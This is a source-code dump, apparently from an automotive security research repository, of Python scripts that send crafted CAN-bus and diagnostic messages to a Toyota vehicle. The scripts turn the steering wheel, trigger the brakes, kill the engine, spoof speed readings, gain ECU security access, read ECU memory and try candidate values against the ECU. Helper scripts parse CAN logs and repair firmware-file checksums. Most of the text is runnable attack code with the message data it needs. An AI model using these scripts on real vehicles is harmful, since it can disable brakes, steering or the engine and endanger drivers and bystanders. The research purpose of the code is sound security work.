ecom.mydll.FixChecksum(pointer(SFFS[0])) 65 | 66 | ecom.mydll.write_message(ecom.handle, pointer(SFFS[0])) 67 | #time.sleep(.005) 68 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_brake_immobilizer.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | from ctypes import * 4 | import time, struct 5 | 6 | if __name__ == "__main__": 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,37440) 9 | 10 | brake_sff_str = "IDH: 02, IDL: 83, Len: 07, Data: 61 00 E0 BE 8C 00 17" 11 | brake_sff = SFFMessage() 12 | ecom.mydll.DbgLineToSFF(brake_sff_str, pointer(brake_sff)) 13 | 14 | 15 | print("Starting to send msgs") 16 | while(1): 17 | brake_sff.data[0] += 1 & 0x7F 18 | ecom.mydll.FixChecksum(pointer(brake_sff)) 19 | #ecom.mydll.PrintSFF(pointer(brake_sff), 0) 20 | ecom.mydll.write_message(ecom.handle, pointer(brake_sff)) 21 | time.sleep(.001) 22 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_cracker.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | import time, struct, sys 4 | 5 | if __name__ == "__main__": 6 | 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(0,1) 9 | 10 | ECU = 0x7E0 11 | 12 | #Is CPU? 13 | ret = ecom.send_iso_tp_data(ECU, [0x09, 0x00]) 14 | 15 | #Get Calibration IDs 16 | ret = ecom.send_iso_tp_data(ECU, [0x09, 0x04]) 17 | 18 | #???? 19 | ret = ecom.send_iso_tp_data(ECU, [0x13, 0x80]) 20 | 21 | #Get VIN 22 | ret = ecom.send_iso_tp_data(ECU, [0x09, 0x04]) 23 | 24 | ret = ecom.security_access(ECU) 25 | if ret: 26 | print("[*] [0x%04X] Security Access: Success" % (ECU)) 27 | 28 | #Unsure but this happens 3x in the capture before diag programming mode 29 | #I think this may have to do w/ tellin other ECUs the one being reprogrammed 30 | #is going offline for a while and DO NOT set DTC codes 31 | for _ in range(0, 3): 32 | ret = ecom.send_iso_tp_data(0x720, [0xA0, 0x27]) 33 | 34 | ret = ecom.diagnostic_session(ECU, [0x10, 0x02]) 35 | if ret: 36 | print("[*] [0x%04X] Programming Mode: Success" % (ECU)) 37 | 38 | ecom.send_iso_tp_data(0x01, [0x00]) 39 | ecom.send_iso_tp_data(0x01, [0x00]) 40 | 41 | #This is the 'LocationID' see: T-0052-11.cuw 42 | ecom.send_iso_tp_data(0x01, [0x20, 0x07, 0x01, 0x00, 0x02, 0x00]) 43 | ecom.send_iso_tp_data(0x01, [0x07, 0x00]) 44 | 45 | f = open("toyota_ecu.bin", "rb") 46 | 47 | while True: 48 | chunk = f.read(4) 49 | if not chunk: 50 | break 51 | 52 | p1 = ord(chunk[0]) 53 | p2 = ord(chunk[1]) 54 | p3 = ord(chunk[2]) 55 | p4 = ord(chunk[3]) 56 | 57 | if ecu_version := ecom.send_iso_tp_data(0x01, [p1, p2, p3, p4]): 58 | print("FOUND MAGIC: %02X %02X %02X %02X" % (p1,p2,p3,p4)) 59 | break 60 | 61 | close(f) 62 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_ecm.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/toyota_ecm.bin -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_kill_engine.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | import time, struct 4 | 5 | if __name__ == "__main__": 6 | #print "[*] Starting diagnostics check..." 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,35916) 9 | 10 | ECU = 0x7E0 11 | 12 | #do security access 13 | ret = ecom.security_access(ECU) 14 | if ret == False: 15 | print("[!] [0x%04X] Security Access: FAILURE" % (ECU)) 16 | else: 17 | print("[*] [0x%04X] Security Access: Success" % (ECU)) 18 | 19 | #Unsure but this happens 3x in the capture before diag programming mode 20 | #I think this may have to do w/ tellin other ECUs the one being reprogrammed 21 | #is going offline for a while and DO NOT set DTC codes 22 | for _ in range(0, 3): 23 | ret = ecom.send_iso_tp_data(0x720, [0xA0, 0x27]) 24 | 25 | ret = ecom.diagnostic_session(ECU, [0x10, 0x02]) 26 | if ret == False: 27 | print("[!] [0x%04X] Programming Mode: FAILURE" % (ECU)) 28 | else: 29 | print("[*] [0x%04X] Programming Mode: Sucess" % (ECU)) 30 | 31 | for _ in range(0, 10): 32 | ecom.send_iso_tp_data(0x7E0, [0x30, 0x1C, 0x00, 0x0F, 0xA5, 0x01]) 33 | 34 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_lka_wheel_turn_clockwise.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | from ctypes import * 4 | import time, struct 5 | 6 | if __name__ == "__main__": 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,35916) 9 | 10 | #Changed data[3] (0x80) to 0x40 if you want beeping 11 | SFFLINE = "IDH: 02, IDL: E4, Len: 05, Data: 80 FB 00 80 E6" 12 | 13 | SFFArray = SFFMessage * 1 14 | SFFS = SFFArray() 15 | 16 | ecom.mydll.DbgLineToSFF(SFFLINE, pointer(SFFS[0])) 17 | 18 | while(1): 19 | SFFS[0].data[0] += 1 & 0xFF; 20 | SFFS[0].data[0] |= 0x80; 21 | ecom.mydll.FixChecksum(pointer(SFFS[0])) 22 | 23 | #ecom.mydll.PrintSFF(pointer(SFFS[0]), 0) 24 | ecom.mydll.write_message(ecom.handle, pointer(SFFS[0])) 25 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_lka_wheel_turn_counterclockwise.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | from ctypes import * 4 | import time, struct 5 | 6 | if __name__ == "__main__": 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,37440) 9 | 10 | #Changed data[3] (0x80) to 0x40 if you want beeping 11 | SFFLINE = "IDH: 02, IDL: E4, Len: 05, Data: 80 05 00 80 F0" 12 | 13 | SFFArray = SFFMessage * 1 14 | SFFS = SFFArray() 15 | 16 | ecom.mydll.DbgLineToSFF(SFFLINE, pointer(SFFS[0])) 17 | 18 | while(1): 19 | SFFS[0].data[0] += 1 & 0xFF; 20 | SFFS[0].data[0] |= 0x80; 21 | ecom.mydll.FixChecksum(pointer(SFFS[0])) 22 | 23 | #ecom.mydll.PrintSFF(pointer(SFFS[0]), 0) 24 | ecom.mydll.write_message(ecom.handle, pointer(SFFS[0])) 25 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_memory_reader.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | import time, struct 4 | 5 | if __name__ == "__main__": 6 | #print "[*] Starting diagnostics check..." 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,35916) 9 | 10 | #Engine 11 | #ECU = 0x7E0 12 | 13 | #Hybrid/Power Management 14 | #ECU = 0x7E2 15 | 16 | #ABS 17 | ECU = 0x7B0 18 | 19 | ret = ecom.security_access(ECU) 20 | 21 | ret = ecom.request_upload_14229(ECU, 0x01, 0x44, 0x0000F000, 0x00000001) 22 | ret = ecom.request_upload_14229(ECU, 0x01, 0x33, 0x0000F000, 0x00000001) 23 | ret = ecom.request_upload_14229(ECU, 0x01, 0x24, 0x0000F000, 0x00000001) 24 | ret = ecom.request_upload_14229(ECU, 0x01, 0x22, 0x0000F000, 0x00000001) 25 | ret = ecom.request_upload_14229(ECU, 0x01, 0x12, 0x0000F000, 0x00000001) 26 | 27 | ret = ecom.request_upload_14230(ECU, 0x01, 0x0000F000, 0x00000001) 28 | 29 | ret = ecom.read_memory_14229(ECU, 0x44, 0x0000F000, 0x00000001) 30 | ret = ecom.read_memory_14229(ECU, 0x24, 0x0000F000, 0x00000001) 31 | ret = ecom.read_memory_14229(ECU, 0x33, 0x0000F000, 0x00000001) 32 | ret = ecom.read_memory_14229(ECU, 0x12, 0x0000F000, 0x00000001) 33 | 34 | ret = ecom.read_memory_14230(ECU, 0x0000F000, 0x00000001) 35 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_play_capture.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | from ctypes import * 4 | import time, struct 5 | 6 | if __name__ == "__main__": 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,35916) 9 | 10 | LOOPER = 0 11 | 12 | f = open("regular.dat", "r") 13 | sff_lines = f.readlines() 14 | 15 | num_of_sffs = len(sff_lines) 16 | SFFArray = SFFMessage * num_of_sffs 17 | sffs = SFFArray() 18 | 19 | for i in range(0, num_of_sffs): 20 | ecom.mydll.DbgLineToSFF(sff_lines[i], pointer(sffs[i])) 21 | 22 | print("Starting to send wheel msgs") 23 | while(1): 24 | for i in range(0, num_of_sffs): 25 | ecom.mydll.write_message(ecom.handle, pointer(sffs[i])) 26 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_request_seed.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | from ctypes import * 4 | import time, struct 5 | 6 | if __name__ == "__main__": 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,35916) 9 | 10 | #Engine ECU 11 | ECU = 0x7E0 12 | 13 | for i in range(0, 11): 14 | print("Attempt %d" % (i)) 15 | resp = ecom.send_iso_tp_data(ECU, ecom.get_security_access_payload(ECU), None) 16 | 17 | if not resp or len(resp) == 0: 18 | print("No Response") 19 | 20 | seed = resp[2] << 24 | resp[3] << 16 | resp[4] << 8 | resp[5] 21 | 22 | #obviously incorrect 23 | key = [0,0,0,0] 24 | 25 | key_data = [0x27, 0x02, key[0], key[1], key[2], key[3]] 26 | 27 | key_resp = ecom.send_iso_tp_data(ECU, key_data, None) 28 | err = ecom.get_error(key_resp) 29 | if err != 0x00: 30 | print(f"Error: {NegRespErrStr(err)}") 31 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_securityaccess_progmode.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | import time, struct, sys 4 | 5 | if __name__ == "__main__": 6 | #print "[*] Starting diagnostics check..." 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,35916) 9 | 10 | ECU = 0x7E0 11 | 12 | #do security access 13 | ret = ecom.security_access(ECU) 14 | if ret == False: 15 | print("[!] [0x%04X] Security Access: FAILURE" % (ECU)) 16 | sys.exit(1) 17 | 18 | print("[*] [0x%04X] Security Access: Success" % (ECU)) 19 | 20 | #Unsure but this happens 3x in the capture before diag programming mode 21 | #I think this may have to do w/ tellin other ECUs the one being reprogrammed 22 | #is going offline for a while and DO NOT set DTC codes 23 | for _ in range(0, 3): 24 | ret = ecom.send_iso_tp_data(0x720, [0xA0, 0x27]) 25 | 26 | #Grequires the to be in half-on state (power on, engine off) 27 | #Failure to be in the required mode will result in diagnostic session failing 28 | ret = ecom.diagnostic_session(ECU, [0x10, 0x02]) 29 | if ret == False: 30 | print("[!] [0x%04X] Programming Mode: Failure" % (ECU)) 31 | sys.exit(1) 32 | 33 | print("[*] [0x%04X] Programming Mode: Success" % (ECU)) 34 | 35 | 36 | ## for ecu_num, ecu_name in PriusECU.iteritems(): 37 | ## print "Trying security access for %s" % (ecu_name) 38 | ## #security access 39 | ## ret = ecom.security_access(ecu_num) 40 | ## 41 | ## for ecu_sub_num, ecu_name in PriusMainECU.iteritems(): 42 | ## print "Trying security access for %s" % (ecu_name) 43 | ## ret = ecom.security_access(0x750, ecu_sub_num) 44 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_speed_00B4.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | from ctypes import * 4 | import time, struct 5 | 6 | if __name__ == "__main__": 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,37440) 9 | 10 | LOOPER = 0 11 | SETSPEED = 0xFFFF 12 | SFFLINE = "IDH: 00, IDL: B4, Len: 08, Data: 00 00 00 00 00 FF FF BA" 13 | 14 | SFFArray = SFFMessage * 1 15 | SFFS = SFFArray() 16 | 17 | ecom.mydll.DbgLineToSFF(SFFLINE, pointer(SFFS[0])) 18 | 19 | ecom.mydll.PrintSFF(pointer(SFFS[0]), 0) 20 | 21 | if (SETSPEED < 200): 22 | SETSPEED *= 161 23 | 24 | SFFS[0].data[5] = (SETSPEED >> 8) & 0xFF; 25 | SFFS[0].data[6] = SETSPEED & 0xFF; 26 | 27 | ecom.mydll.FixChecksum(pointer(SFFS[0])) 28 | 29 | while(1): 30 | #ecom.mydll.PrintSFF(pointer(SFFS[0]), 0) 31 | ecom.mydll.write_message(ecom.handle, pointer(SFFS[0])) 32 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_speed_00B6.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | from ctypes import * 4 | import time, struct 5 | 6 | if __name__ == "__main__": 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,37440) 9 | 10 | LOOPER = 0 11 | SETSPEED = 62 12 | SFFLINE = "IDH: 00, IDL: B6, Len: 04, Data: 00 00 00 BA" 13 | 14 | SFFArray = SFFMessage * 1 15 | SFFS = SFFArray() 16 | 17 | ecom.mydll.DbgLineToSFF(SFFLINE, pointer(SFFS[0])) 18 | 19 | if (SETSPEED < 200): 20 | SETSPEED *= 161 21 | 22 | SFFS[0].data[0] = (SETSPEED >> 8) & 0xFF; 23 | SFFS[0].data[1] = SETSPEED & 0xFF; 24 | 25 | ecom.mydll.FixChecksum(pointer(SFFS[0])) 26 | 27 | while(1): 28 | #ecom.mydll.PrintSFF(pointer(SFFS[0]), 0) 29 | ecom.mydll.write_message(ecom.handle, pointer(SFFS[0])) 30 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_speed_diag.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | from ctypes import * 4 | import time, struct 5 | 6 | if __name__ == "__main__": 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,37440) 9 | 10 | LOOPER = 0 11 | SETSPEED = 62 12 | SFFLINE = "IDH: 07, IDL: C0, Len: 08, Data: 04 30 01 00 02 00 00 00" 13 | 14 | SFFArray = SFFMessage * 1 15 | SFFS = SFFArray() 16 | 17 | ecom.mydll.DbgLineToSFF(SFFLINE, pointer(SFFS[0])) 18 | 19 | #if(SETSPEED < 200): 20 | # SETSPEED = SETSPEED * 161 21 | 22 | #SFFS[0].data[0] = (SETSPEED >> 8) & 0xFF; 23 | #SFFS[0].data[1] = SETSPEED & 0xFF; 24 | 25 | #ecom.mydll.FixChecksum(pointer(SFFS[0])) 26 | 27 | while(1): 28 | ecom.send_iso_tp_data(0x7C0, [0x30, 0x01, 0x00, 0x08]) 29 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_wheel_turn_clockwise.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | from ctypes import * 4 | import time, struct 5 | 6 | if __name__ == "__main__": 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,35916) 9 | 10 | LOOPER = 0 11 | 12 | f = open("wheel.dat", "r") 13 | sff_lines = f.readlines() 14 | 15 | num_of_sffs = len(sff_lines) 16 | SFFArray = SFFMessage * num_of_sffs 17 | sffs = SFFArray() 18 | 19 | for i in range(0, num_of_sffs): 20 | ecom.mydll.DbgLineToSFF(sff_lines[i], pointer(sffs[i])) 21 | 22 | print("Starting to send wheel msgs") 23 | while(1): 24 | for i in range(0, num_of_sffs): 25 | ecom.mydll.write_message(ecom.handle, pointer(sffs[i])) 26 | 27 | time.sleep(.001) 28 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyota_wheel_turn_counter.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | from ctypes import * 4 | import time, struct 5 | 6 | if __name__ == "__main__": 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,35916) 9 | 10 | f = open("wheel_counter.dat", "r") 11 | sff_lines = f.readlines() 12 | 13 | num_of_sffs = len(sff_lines) 14 | SFFArray = SFFMessage * num_of_sffs 15 | sffs = SFFArray() 16 | 17 | for i in range(0, num_of_sffs): 18 | ecom.mydll.DbgLineToSFF(sff_lines[i], pointer(sffs[i])) 19 | 20 | print("Starting to send wheel msgs") 21 | while(1): 22 | for i in range(0, num_of_sffs): 23 | ecom.mydll.write_message(ecom.handle, pointer(sffs[i])) 24 | time.sleep(.001) 25 | -------------------------------------------------------------------------------- /code/ecomcat_api/toyoyta_speed_invalidator.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | from ctypes import * 4 | import time, struct 5 | 6 | if __name__ == "__main__": 7 | ecom = PyEcom('Debug\\ecomcat_api') 8 | ecom.open_device(1,37440) 9 | 10 | LOOPER = 0 11 | 12 | f = open("speed_bad.dat", "r") 13 | sff_lines = f.readlines() 14 | 15 | num_of_sffs = len(sff_lines) 16 | SFFArray = SFFMessage * num_of_sffs 17 | sffs = SFFArray() 18 | 19 | for i in range(0, num_of_sffs): 20 | ecom.mydll.DbgLineToSFF(sff_lines[i], pointer(sffs[i])) 21 | 22 | print("Starting to send msgs") 23 | while(1): 24 | for i in range(0, num_of_sffs): 25 | curr = sffs[i] 26 | 27 | ## if LOOPER == 1: 28 | ## #if curr.IDH == 0x00 and curr.IDL == 0xB4: 29 | ## # curr.data[4] += 1 & 0xFF 30 | ## if curr.IDH == 0x02 and curr.IDL == 0xE4: 31 | ## curr.data[0] += 1 & 0xFF 32 | ## curr.data[0] |= 0x80 33 | ## if curr.IDH == 0x02 and curr.IDL == 0x83: 34 | ## curr.data[0] += 1 & 0x7F 35 | ## 36 | ## ecom.mydll.FixChecksum(pointer(curr)) 37 | 38 | #ecom.mydll.PrintSFF(pointer(curr), 0) 39 | ecom.mydll.write_message(ecom.handle, pointer(curr)) 40 | -------------------------------------------------------------------------------- /code/ecomcat_api/wheel.dat: -------------------------------------------------------------------------------- 1 | IDH: 01, IDL: 27, Len: 08, Data: 68 10 00 08 00 12 AE 70 2 | IDH: 02, IDL: 66, Len: 08, Data: 3F 00 30 01 00 00 AC 8C 3 | -------------------------------------------------------------------------------- /code/ecomcat_api/wheel2.dat: -------------------------------------------------------------------------------- 1 | IDH: 01, IDL: 27, Len: 08, Data: 68 10 00 08 00 12 AE 70 2 | IDH: 02, IDL: 66, Len: 08, Data: 3E AA 10 01 00 00 AC 15 3 | -------------------------------------------------------------------------------- /code/ecomcat_api/wheel_counter.dat: -------------------------------------------------------------------------------- 1 | IDH: 01, IDL: 27, Len: 08, Data: 68 10 00 08 00 12 AE 70 2 | IDH: 02, IDL: 66, Len: 08, Data: 31 50 30 01 00 00 AC CE 3 | -------------------------------------------------------------------------------- /code/ecomcat_api/wheel_more.dat: -------------------------------------------------------------------------------- 1 | IDH: 01, IDL: 27, Len: 08, Data: 68 10 00 08 00 12 AE 70 2 | IDH: 02, IDL: 62, Len: 05, Data: 03 04 00 02 72 3 | IDH: 02, IDL: 66, Len: 08, Data: 3E AA 30 01 00 00 AC 35 4 | -------------------------------------------------------------------------------- /code/scripts/SFF.py: -------------------------------------------------------------------------------- 1 | class SFFMessage: 2 | def __init__(self, line): 3 | 4 | self.wid = 0x0000 5 | 6 | #break out the pieces 7 | pieces = line.split(',') 8 | 9 | if (len(pieces) > 3): 10 | self.idh = pieces[0].split(':')[1].strip() 11 | self.idl = pieces[1].split(':')[1].strip() 12 | self.wid = self.idh + self.idl 13 | self.len = pieces[2].split(':')[1].strip() 14 | 15 | #addition of timestamp require to remove it 16 | data_ts = pieces[3].split(':')[1] 17 | ts_offset = data_ts.find("TS") 18 | 19 | self.data = ( 20 | data_ts[:ts_offset].strip() 21 | if (ts_offset != 0) 22 | else data_ts.strip() 23 | ) 24 | #if(len(pieces) > 4): 25 | # self.ts = pieces[4].split(':')[1] 26 | 27 | def __repr__(self): 28 | return "IDH: %02X, IDL: %02X, Len: %02X, Data: %s" % (int(self.idh, 16), int(self.idl, 16), int(self.len, 16), self.data) 29 | 30 | def __str__(self): 31 | return "IDH: %02X, IDL: %02X, Len: %02X, Data: %s" % (int(self.idh, 16), int(self.idl, 16), int(self.len, 16), self.data) 32 | 33 | def __cmp__(self, other): 34 | assert isinstance(other, SFFMessage) 35 | 36 | return cmp((self.wid, self.len, self.data), (other.wid, other.len, other.data)) 37 | 38 | -------------------------------------------------------------------------------- /code/scripts/analyze.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | class SFFMessage: 4 | def __init__(self, line): 5 | 6 | self.wid = 0x0000 7 | self.line = line 8 | #break out the pieces 9 | pieces = line.split(',') 10 | 11 | if(len(pieces) > 3): 12 | self.idh = pieces[0].split(':')[1].strip() 13 | self.idl = pieces[1].split(':')[1].strip() 14 | self.wid = self.idh + self.idl 15 | self.len = int(pieces[2].split(':')[1].strip(),16) 16 | self.data = pieces[3].split(':')[1].strip() 17 | 18 | self.data_pieces = self.data.split(' ') 19 | if len(self.data_pieces) != self.len: 20 | print("ERROR - COULDN'T SPLIT DATA") 21 | print(line) 22 | print(self.data) 23 | 24 | 25 | def check_for_msg(msg, print_repeats, verbosity): 26 | global lines 27 | if msg.wid in list(lines.keys()): 28 | # print "existing..." 29 | entry = lines[msg.wid] 30 | if entry['len'] != msg.len: 31 | print("Packet with unexpected length found!") 32 | print(msg.line) 33 | if not print_repeats: 34 | add_msg_to_data(msg) 35 | for x in range(msg.len): 36 | #seen this byte before 37 | if msg.data_pieces[x] not in list(entry[x].keys()): 38 | if verbosity > 0: 39 | print("FOUND DIFFERING BYTE, SLOT %d" % x) 40 | print(list(entry[x].keys())) 41 | print(msg.data_pieces[x]) 42 | print(msg.line) 43 | if verbosity == 0: 44 | print(msg.wid) 45 | if not print_repeats: 46 | add_msg_to_data(msg) 47 | else: 48 | print(f"NEW MSG TYPE {msg.wid}") 49 | 50 | 51 | def add_msg_to_data(msg): 52 | global lines 53 | if msg.wid in list(lines.keys()): 54 | # print "existing, add to it" 55 | entry = lines[msg.wid] 56 | if entry['len'] != msg.len: 57 | print("Packet with lengths that don't match found!") 58 | for x in range(msg.len): 59 | #seen this byte before 60 | if msg.data_pieces[x] in list(entry[x].keys()): 61 | entry[x][msg.data_pieces[x]] = entry[x][msg.data_pieces[x]] + 1 62 | # its a new byte 63 | else: 64 | entry[x][msg.data_pieces[x]] = 1 65 | else: 66 | # print "new one, add it" 67 | entry = {'len':msg.len} 68 | for x in range(msg.len): 69 | entry[x] = {msg.data_pieces[x]:1} 70 | lines[msg.wid] = entry 71 | 72 | 73 | def get_data(filename): 74 | fp = open(filename, "r") 75 | for line in fp: 76 | msg = SFFMessage(line) 77 | if(msg.wid != 0): 78 | add_msg_to_data(msg) 79 | 80 | def look_for_different_data(filename, print_repeats, verbosity): 81 | fp = open(filename, "r") 82 | for line in fp: 83 | msg = SFFMessage(line) 84 | if(msg.wid != 0): 85 | check_for_msg(msg, print_repeats, verbosity) 86 | 87 | lines = {} 88 | #get_data("idle.dat") 89 | get_data("idle_s.dat") 90 | look_for_different_data("unlock_nofob_s.dat", False, 1) 91 | #print lines 92 | -------------------------------------------------------------------------------- /code/scripts/carda12chrislog_win.py: -------------------------------------------------------------------------------- 1 | if __name__ == "__main__": 2 | filename = "ecm_flash_attempt2.in" 3 | f = open(filename) 4 | arr = [] 5 | i = 0 6 | 7 | f2 = open(f"{filename}.dat", "w") 8 | 9 | for line in f: 10 | line = line.strip() 11 | pieces = line.split(',') 12 | 13 | can_data = pieces[3] 14 | 15 | idh = can_data[:5].replace(' ', '').strip() 16 | idl = can_data[6:11].replace(' ', '').strip() 17 | data = can_data[12:].strip() 18 | 19 | f2.write("IDH: %02X, IDL: %02X, Len: %02X, Data: %s\n" % (int(idh, 16), int(idl, 16), 8, data)) 20 | -------------------------------------------------------------------------------- /code/scripts/cardaq2chrislog.py: -------------------------------------------------------------------------------- 1 | if __name__ == "__main__": 2 | filename = "cardaq_flash_attemp1.dat" 3 | with open(filename) as f: 4 | arr = [] 5 | i = 0 6 | for line in f: 7 | line = line.strip() 8 | if(line.startswith("\__")): 9 | line = line.replace("\__", "").strip() 10 | arr.append(line) 11 | 12 | with open(f"{filename}.cvl", 'w') as f2: 13 | for line in arr: 14 | byte_vals = line.split(' ') 15 | data_len = len(byte_vals) - 4 #this will take out the CAN ID 16 | 17 | data = "".join(f"{b} " for b in byte_vals[4:]) 18 | idh = int(byte_vals[2], 16) 19 | idl = int(byte_vals[3], 16) 20 | 21 | if(byte_vals[0] == "00" and byte_vals[1] == "00"): 22 | #print "IDH: %02X, IDL: %02X, Len: %02X, Data: %s" % (idh, idl, data_len, data) 23 | f2.write("IDH: %02X, IDL: %02X, Len: %02X, Data: %s\n" % (idh, idl, data_len, data)) 24 | else: 25 | print("29-bit not supported!") 26 | 27 | print("END") 28 | -------------------------------------------------------------------------------- /code/scripts/cardaq_compare.py: -------------------------------------------------------------------------------- 1 | import sys, getopt 2 | from SFF import SFFMessage 3 | 4 | output = "" 5 | 6 | optlist, args = getopt.getopt(sys.argv[1:], ':o:') 7 | if (len(args) < 2): 8 | print(f"Usage: {sys.argv[0]} [options] ") 9 | sys.exit(1) 10 | 11 | for o, a in optlist: 12 | #output mode to a file 13 | if o == "-o": 14 | output = a 15 | 16 | filea_msgs = [] 17 | fileb_msgs = [] 18 | fileb_msgs_diff = [] 19 | file_a = args[0] 20 | file_b = args[1] 21 | 22 | with open(file_a) as fplock: 23 | for line in fplock: 24 | #msg = SFFMessage(line) 25 | if(line not in filea_msgs): 26 | filea_msgs.append(line) 27 | print("[*] FileA parsed...") 28 | 29 | i = 0 30 | with open(file_b) as fplock: 31 | for line in fplock: 32 | #msg = SFFMessage(line) 33 | if(line not in fileb_msgs): 34 | fileb_msgs.append(line) 35 | print("[*] FilesB parsed...") 36 | 37 | filea_msgs_diff = [msg for msg in filea_msgs if msg not in fileb_msgs] 38 | of = open(output, "w") if (output != "") else None 39 | filea_cnt = "Only %s [%d lines]" % (file_a, len(filea_msgs_diff)) 40 | print(filea_cnt) 41 | 42 | if(of): 43 | of.write(filea_cnt + '\n') 44 | 45 | for msg in filea_msgs_diff: 46 | print(msg) 47 | if(of): 48 | of.write(str(msg) + '\n') 49 | 50 | print("\n") 51 | if(of): 52 | of.write('\n') 53 | 54 | 55 | if(of): 56 | of.close() 57 | -------------------------------------------------------------------------------- /code/scripts/cuw_fixer.py: -------------------------------------------------------------------------------- 1 | import sys, struct, binascii 2 | 3 | filename = "T-0052-11.cuw" 4 | 5 | def FixMotCRC(mot_str): 6 | 7 | if mot_str == "": 8 | return mot_str 9 | 10 | s_type = mot_str[:2] 11 | s_len = int(mot_str[2:4], 16) 12 | 13 | data_checksum = 0 + s_len 14 | #print "SLen: %02X" % (s_len) 15 | 16 | curr_index = 4 17 | 18 | data_end = 2 * 2 19 | if s_type == "S2": 20 | data_end = 3 * 2 21 | elif s_type == "S3": 22 | data_end = 4 * 2 23 | else: 24 | return mot_str 25 | 26 | end_index = curr_index + data_end 27 | 28 | data = mot_str[curr_index:-2] 29 | 30 | #create a checksum 31 | for i in range(0, len(data), 2): 32 | byte = data[i:i+2] 33 | 34 | data_checksum += int(byte, 16) 35 | 36 | #print "checksum: %02X" % (~data_checksum & 0xFF) 37 | 38 | return mot_str[:-2] + "%02X" % (~data_checksum & 0xFF) 39 | 40 | with open(f"{filename}.fixed", "wb+") as fixed_fp: 41 | with open(filename, "rb") as f: 42 | 43 | calibration_str = f.read(0x0D) 44 | fixed_fp.write(calibration_str) 45 | 46 | version = f.read(0x01) 47 | fixed_fp.write(version) 48 | 49 | header_body_crc32 = struct.unpack('>L', f.read(0x04))[0] 50 | fixed_fp.write(struct.pack('>L', header_body_crc32)) 51 | 52 | file_len = struct.unpack('>L', f.read(0x04))[0] 53 | fixed_fp.write(struct.pack('>L', file_len)) 54 | 55 | application_name_len = struct.unpack('>H', f.read(0x02))[0] 56 | fixed_fp.write(struct.pack('>H', application_name_len)) 57 | 58 | application_name = f.read(application_name_len) 59 | fixed_fp.write(application_name) 60 | 61 | header_len = struct.unpack('>L', f.read(0x04))[0] 62 | fixed_fp.write(struct.pack('>L', header_len)) 63 | 64 | saved_header_pos = f.tell() 65 | 66 | header_crc32 = struct.unpack('>L', f.read(0x04))[0] 67 | 68 | header = f.read(header_len) 69 | 70 | header_crc32_fixed = binascii.crc32(header) 71 | 72 | fixed_fp.write(struct.pack('>l', header_crc32_fixed)) 73 | fixed_fp.write(header) 74 | 75 | print("Header CRC: %08X" % (header_crc32)) 76 | print("Header Computed CRC: %08X" % (header_crc32_fixed & 0xFFFFFFFF)) 77 | 78 | #should match the 'Number' in the CUW header 79 | number_of_cpus = f.read(0x01) 80 | fixed_fp.write(number_of_cpus) 81 | 82 | version_txt_file_len = struct.unpack('>H', f.read(0x02))[0] 83 | fixed_fp.write(struct.pack('>H', version_txt_file_len)) 84 | 85 | version_txt_file = f.read(version_txt_file_len) 86 | fixed_fp.write(version_txt_file) 87 | 88 | s_format_len = header_len = struct.unpack('>L', f.read(0x04))[0] 89 | fixed_fp.write(struct.pack('>L', s_format_len)) 90 | 91 | s_format_crc32 = header_len = struct.unpack('>L', f.read(0x04))[0] 92 | 93 | s_format_data = f.read(s_format_len) 94 | s_format_lines = s_format_data.split('\n') 95 | new_s_format_data = "" 96 | for s_line in s_format_lines: 97 | new_line = FixMotCRC(s_line.strip()) 98 | new_s_format_data 